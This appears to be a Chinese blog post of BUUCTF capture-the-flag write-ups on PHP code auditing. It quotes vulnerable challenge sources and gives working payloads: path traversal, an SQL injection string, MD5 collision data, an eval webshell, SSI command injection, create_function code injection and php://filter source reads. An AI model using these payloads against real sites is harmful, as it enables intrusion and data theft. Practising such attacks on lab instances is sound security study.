2020-08-18
5.9k
BUUCTF刷题——PHP代码审计
[HCTF2018]WarmingUp
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file(__FILE__ ); class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page) || !is_string($page)) { echo "you can't see it" ; return false ; } if (in_array($page, $whitelist)) { return true ; } $_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST['file' ]) && is_string($_REQUEST['file' ]) && emmm::checkFile($_REQUEST['file' ]) ) { include $_REQUEST['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
https://www.cnblogs.com/h3zh1/p/12853478.html
payload:
1 http://f3a0386f-ebf6-4b35-8a60-87de301e158a.node3.buuoj.cn/source.php?file=source.php?../../../../../ffffllllaaaagggg
我感觉上面这个分析有点问题,这个payload到了第23行的if语句就直接return,没有后面的代码啥事了。
[极客大挑战2019]PHP
TODO
BJDCTF2020 Easy MD5
考点
解题
第一关
payload:ffifdyop
分析文章:https://blog.csdn.net/March97/article/details/81222922?utm_source=blogxgwz9
1 2 3 content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
第二关
MD5 碰撞
第三关
1 2 3 4 5 6 7 8 9 <?php error_reporting(0 ); include "flag.php" ;highlight_file(__FILE__ ); if ($_POST['param1' ]!==$_POST['param2' ]&&md5($_POST['param1' ])===md5($_POST['param2' ])){ echo $flag; }
为MD5强类型比较,这时候传入两个数组,数组的值不相等,造成MD5加密时报错产生NULL=NULL的情况,绕过比较。
拓展
1 2 3 4 if ((string )$_POST['param1' ]!==(string )$_POST['param2' ] && md5($_POST['param1' ])===md5($_POST['param2' ])){ die ("success!" ); }
https://xz.aliyun.com/t/2232
1 param1=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02Sj%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3E%D6%D1mE%AAL4%E1%F2d%CD%E1%073c%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F_D%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%3C%F9%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%90%BC%B5%2F%ED¶m2=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02S%EA%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3EV%D2mE%AAL4%E1%F2d%CD%E1%073%E3%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F%DFD%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%BC%F8%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%10%BC%B5%2F%ED
MRCTF2020 Ez_bypass
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 include 'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset ($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }
比较简单的一道题。
第一个为MD5强类型比较,这时候传入两个数组,数组的值不相等,造成MD5加密时报错产生NULL=NULL的情况,绕过比较。
第二个为is_numeric函数弱类型,用1234567abc
绕过。
BJDCTF2020 Mark loves cat
考点
解题
关键在于要认识到exit()
也是可以是输出的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include 'flag.php' ;$yds = "dog" ; $is = "cat" ; $handsome = 'yds' ; foreach ($_POST as $x => $y){ $$x = $y; } foreach ($_GET as $x => $y){ $$x = $$y; } foreach ($_GET as $x => $y){ if ($_GET['flag' ] === $x && $x !== 'flag' ){ exit ($handsome); } } if (!isset ($_GET['flag' ]) && !isset ($_POST['flag' ])){ exit ($yds); } if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit ($is); } echo "the flag is: " .$flag;
先来分析三个if语句:
第一个if语句:
1 2 3 4 5 foreach ($_GET as $x => $y){ if ($_GET['flag' ] === $x && $x !== 'flag' ){ exit ($handsome); } }
键名为flag的键值绝对等于其中某一个键值,并且键名不能有flag。前后相互矛盾,进不去这个判断。
第二个if语句:
1 2 3 if (!isset ($_GET['flag' ]) && !isset ($_POST['flag' ])){ exit ($yds); }
不存在GET型的flag参数,也不存在POST型的flag参数。
第三个if语句:
1 2 3 if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit ($is); }
POST型flag参数值绝对等于flag,GET型flag参数值绝对等于flag。
如果想通过第二个if语句来输出flag的话,就要去覆盖$flag
,即$yds=$flag
:
1 2 3 foreach ($_GET as $x => $y){ $$x = $$y; }
那么就可以直接GET传参:
相当于$yds=$flag
。
如果想通过第三个if语句来输出flag,就要去覆盖$is
,即$is=$flag
,并且GET中要有flag参数:
1 /index.php?is=flag&flag=flag
GKCTF2020 CheckIN
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file(__FILE__ ); class ClassName { public $code = null ; public $decode = null ; function __construct ( ) { $this ->code = @$this ->x()['Ginkgo' ]; $this ->decode = @base64_decode( $this ->code ); @Eval ($this ->decode); } public function x ( ) { return $_REQUEST; } } new ClassName();
看一下phpinfo,发现禁用了很多执行系统命令的函数。
写一个shell用蚁剑连接,eval($_POST[123]);
,经过base64编码是ZXZhbCgkX1BPU1RbMTIzXSk7
浏览根目录发现要用readflag
读取flag文件,上传php7-diable_function-bypass Poc至/tmp目录下,然后用include包含该文件:
GWCTF2019 枯燥的抽奖
考点
解题
查看源代码有一段JS代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 $(document ).ready(function ( ) { $("#div1" ).load("check.php #p1" ); $(".close" ).click(function ( ) { $("#myAlert" ).hide(); }); $("#button1" ).click(function ( ) { $("#myAlert" ).hide(); guess=$("input" ).val(); $.ajax({ type: "POST" , url: "check.php" , data: "num=" +guess, success: function (msg ) { $("#div2" ).append(msg); alertmsg = $("#flag" ).text(); if (alertmsg=="没抽中哦,再试试吧" ){ $("#myAlert" ).attr("class" ,"alert alert-warning" ); if ($("#new" ).text()=="" ) $("#new" ).append(alertmsg); } else { $("#myAlert" ).attr("class" ,"alert alert-success" ); if ($("#new" ).text()=="" ) $("#new" ).append(alertmsg); } } }); $("#myAlert" ).show(); $("#new" ).empty(); $("#div2" ).empty(); }); });
再去看check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ODuHdhCHWY <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION['seed' ])){$_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str, 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ;if (isset ($_POST['num' ])){ if ($_POST['num' ]===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
BJDCTF2020 EasySearch
考点
解题
用dirmap扫一遍,发现index.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start(); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )]; $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST['username' ]) and $_POST['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr(md5($_POST['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash().".shtml" ; $shtml = fopen($file_shtml, "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST['username' ].'</h1> *** ***' ; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
代码第14行明显是考察MD5截断认证,直接用脚本爆破
参考:https://www.cnblogs.com/yesec/p/11297568.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from multiprocessing.dummy import Pool as tpimport hashlibknownMd5 = '6d0bc1' def md5 (text ): return hashlib.md5(str(text).encode('utf-8' )).hexdigest() def findCode (code ): key = code.split(':' ) start = int(key[0 ]) end = int(key[1 ]) for code in range(start, end): if md5(code)[0 :6 ] == knownMd5: print code break list=[] for i in range(3 ): list.append(str(10000000 *i) + ':' + str(10000000 *(i+1 ))) pool = tp() pool.map(findCode, list) pool.close() pool.join()
得到password:2020666
然后以admin,2020666登录,在header中发现随机生成的文件所在路径。访问之,发现界面为:
看到这个admin猜测肯定有模板注入,但是用{{7*'7'}}
验证一直返回fail,查阅wp得知是SSI注入(我之前都没听过)。
可以通过public文件夹下的文件后缀名.shtml得到线索
参考文章
在username设置<!--#exec cmd="命令"-->
,即可执行命令。
拓展
另一种形式的MD5截断验证:
https://www.cnblogs.com/yesec/p/11300841.html
MRCTF2020 套娃
考点
$_SERVER['QUERY_STRING']
绕过
代码审计
解题
第一层
1 2 3 4 5 6 7 8 9 $query = $_SERVER['QUERY_STRING' ]; if ( substr_count($query, '_' ) !== 0 || substr_count($query, '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){ echo "you are going to the next ~" ; }
题外话:$_SERVER['QUERY_STRING']
不会进行URLDecode,而$_GET[]
会将参数进行URLDecode
利用PHP的字符串解析特性Bypass第一个if语句。
参考文章:https://www.freebuf.com/articles/web/213359.html
第二个if中正则匹配表示匹配字符串的开头和结尾,由于在字符串中换行可以表示字符串的结尾,所以可以用%0a绕过。
参考文章:https://www.cnblogs.com/20175211lyz/p/12198258.html
所以第一层的payload就是
第二层
查看源代码,有一大串的JSFuck编码,直接拿到console跑
提示需要POST一下Merak数据,内容任意。继续审计代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v ) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip;if ($ip === '127.0.0.1' && file_get_contents($_GET['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET['file' ]);echo file_get_contents(change($_GET['file' ])); }?>
只允许本地登录,那么就加上Client-IP:127.0.0.1
的Header。接着使用data伪协议从2333
参数中读取todat is a happy day
。
接下来就是逆向change函数,
1 2 3 4 5 6 7 8 9 10 11 <?php function unchange ($v ) { $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr(ord($v[$i]) - $i*2 ); } return $re; } $real = unchange("flag.php" ); echo base64_encode($real);
所以第二层的payload就是:
1 ?2333=data:text/plain,tadat is a happy day&file=ZmpdYSZmXGI=
[Zer0pts2020]Can you guess it?
考点
$_SEVER['PHP_SELF']
利用
basename()
绕过
解题
利用点在:
1 2 3 4 if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }
但是前面还有过滤:
1 2 3 if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); }
其中$_SERVER['PHP_SELF']
我们知道它的值是url相对路径。也就是说我们输入/index.php/config.php?source
会返回/index.php/config.php
我们知道preg_match
是需要完全匹配才会返回true的,也就是说我们输入/index.php/config.php/a
就可以绕过,但是basename的结果会是a
显然会报错,因为没这个文件。此时我们想到了basename会忽略一些奇怪的字符%80 ~ %ff
。
所以我们输入/index.php/comfig.php/%ff
就可以进行显示comfig.php文件,这里所有的操作都是在index.php下进行的(我们看到的代码都是index.php的代码)。当然我们不要忘记传get的变量source。
payload:/index.php/config.php/%81?source
[BJDCTF2020]EzPHP
考点
QUERY_STRING绕过
SHA1数组绕过
preg_match数组绕过
extract变量覆盖
create_function注入
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file(__FILE__ ); error_reporting(0 ); $file = "1nD3x.php" ; $shana = $_GET['shana' ]; $passwd = $_GET['passwd' ]; $arg = '' ; $code = '' ; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match('/http|https/i' , $_GET['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET['debu' ]) && $_GET['debu' ] !== 'aqua_is_cute' ) { $file = $_GET["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST) { foreach ($_REQUEST as $value) { if (preg_match('/[a-zA-Z]/i' , $value)) die ('fxck you! I hate English!' ); } } if (file_get_contents($file) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match('/^[a-z0-9]*$/isD' , $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code('' , $arg); } ?>
$_SERVER[‘QUERY_STRING’]绕过
需要明确一个知识点:
$_SERVER['QUERY_STRING']
返回url中查询的字符串,与此类似的还有:
$_SERVER['REQUEST_URI']
返回访问此页面所需的URI
$_SERVER['SCRIPT_NAME']
返回包含当前脚本的路径
$_SERVER['PHP_SELF']
当前正在执行脚本的文件名
举个例子:(浏览器自动将file的url编码解码了)
可以看到,$_SERVER['QUERY_STRING']
和$_SERVER['REQUEST_URI']
在传输时不会url解码,而$_GET
,$_POST
会url解码,因此我们可以url编码绕过下面代码:
1 2 3 4 5 6 if ($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); }
preg_match换行符绕过
1 2 3 4 5 6 if (!preg_match('/http|https/i' , $_GET['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET['debu' ]) && $_GET['debu' ] !== 'aqua_is_cute' ) { $file = $_GET["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
由于没有/s
修饰符用来在匹配时匹配换行符,我们可以使用%0a
换行污染绕过。
$_REQUEST字母匹配绕过
1 2 3 4 5 6 if ($_REQUEST) { foreach ($_REQUEST as $value) { if (preg_match('/[a-zA-Z]/i' , $value)) die ('fxck you! I hate English!' ); } }
$_REQUEST
包含_POST
、_GET
和COOKIE
三个全局变量,并且POST具有更高的优先值,也就是说我们可以POST同样名称满足条件的值,比如数字就可以绕过这个匹配。另外,数组类型的数据不需要POST,preg_match()
只能匹配字符串,数组得以绕过。
我在BUUOJ上面做这个题的时候,一直绕不过这个字母匹配,再仔细一看,发现是buu自带的cookie的原因,删掉即可。
file_get_contents比对绕过
1 2 if (file_get_contents($file) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );
刚开始想的是php://input
,后来发现要POST数据,因此便不能用了,这里可以用data://
,示例:
1 2 data://text/plain,<?php phpinfo()?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
sha1比较
1 2 3 4 5 6 if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
直接数组绕过。
因为extract()
函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]
和flag[arg]
的形式。
create_function代码注入
1 2 3 4 5 6 7 if (preg_match('/^[a-z0-9]*$/isD' , $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code('' , $arg); }
基本的注入形式:
1 2 <?php $myFunc = create_function('$a, $b' , 'return($a+$b);}eval($_POST[1]);\\' );
执行时相当于:
1 2 3 4 function myFunc ($a, $b ) { return $a+$b; } eval ($_POST[1 ]);
那么这道题禁用了很多类似无参数RCE的函数关键字,也禁用了很多读文件的系统命令。
但是代码中已经包含了flag.php
,那么就可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值,可以想到:是否存在一个函数,能输出所有变量的值?
答案是get_defined_vars()
用来输出所有变量和值。
那么整体的payload就是
1 2 1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());// POST: debu=1&file=1
解码后就是
1 2 3 1nD3x.php?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());// POST: debu=1&file=1
打印了所有变量
提示我们真的flag在realfl4g.php
里面,那么就去包含realfl4g.php
文件。
这个地方过滤了include
和单引号,可以用require()
来代替,过滤flag
关键字,就用base64编码绕过。那么payload就是
1 2 3 1nD3x.php? file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(base64_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function POST: debu=1&file=1
解码后
1 2 file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhbGZsNGcucGhw));var_dump(get_defined_vars());//
取反绕过+伪协议读取源码
payload
1 2 3 1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));// POST: debu=1&file=1
读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <html> <head> <meta charset="utf-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" > <title>Real_Flag In Here!!!</title> </head> </html> <?php echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!" ; $f4ke_flag = "BJD{1am_a_fake_f41111g23333}" ; $rea1_f1114g = "flag{b1fcb796-18ed-4790-96d4-42becc504efc}" ; unset ($rea1_f1114g);
原来是把变量给释放了。
拓展
介绍一种非预期解:
数组绕过
加了个参数,传上去伪协议,然后get_defined_vars()
数组获取到这个伪协议放到require()
里包含,payload:
1 ?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//
解码后:
1 2 3 ?debu=aqua_is_cute &file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]); //
参考
https://www.gem-love.com/ctf/770.html
[HarekazeCTF2019]encode_and_encode
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } $body = file_get_contents('php://input' ); $json = json_decode($body, true ); if (is_valid($body) && isset ($json) && isset ($json['page' ])) { $page = $json['page' ]; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content); echo json_encode(['content' => $content]);
大概就是传一个json编码的数据,然后json解码,进行is_valid黑名单过滤,然后file_get_contents,再一次进行黑名单过滤,也就是既对原始数据,又对文件内容进行了过滤,由于json使支持unicode编码的,所以可以用unicode代替关键字,并用伪协议base64编码,payload:
1 {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
参考
https://p1htmlkernalweb.mybluemix.net/articles/[HarekazeCTF2019]encode_and_encode_3837296_csdn.html
[CISCN2019 总决赛 Day1 Web4]Laravel1
TODO
[CISCN2019 华北赛区 Day1 Web1]Dropbox
TODO
[HarekazeCTF2019]Easy Notes
TODO
[RCTF 2019]Nextphp
TODO
[De1CTF 2019]ShellShellShell
TODO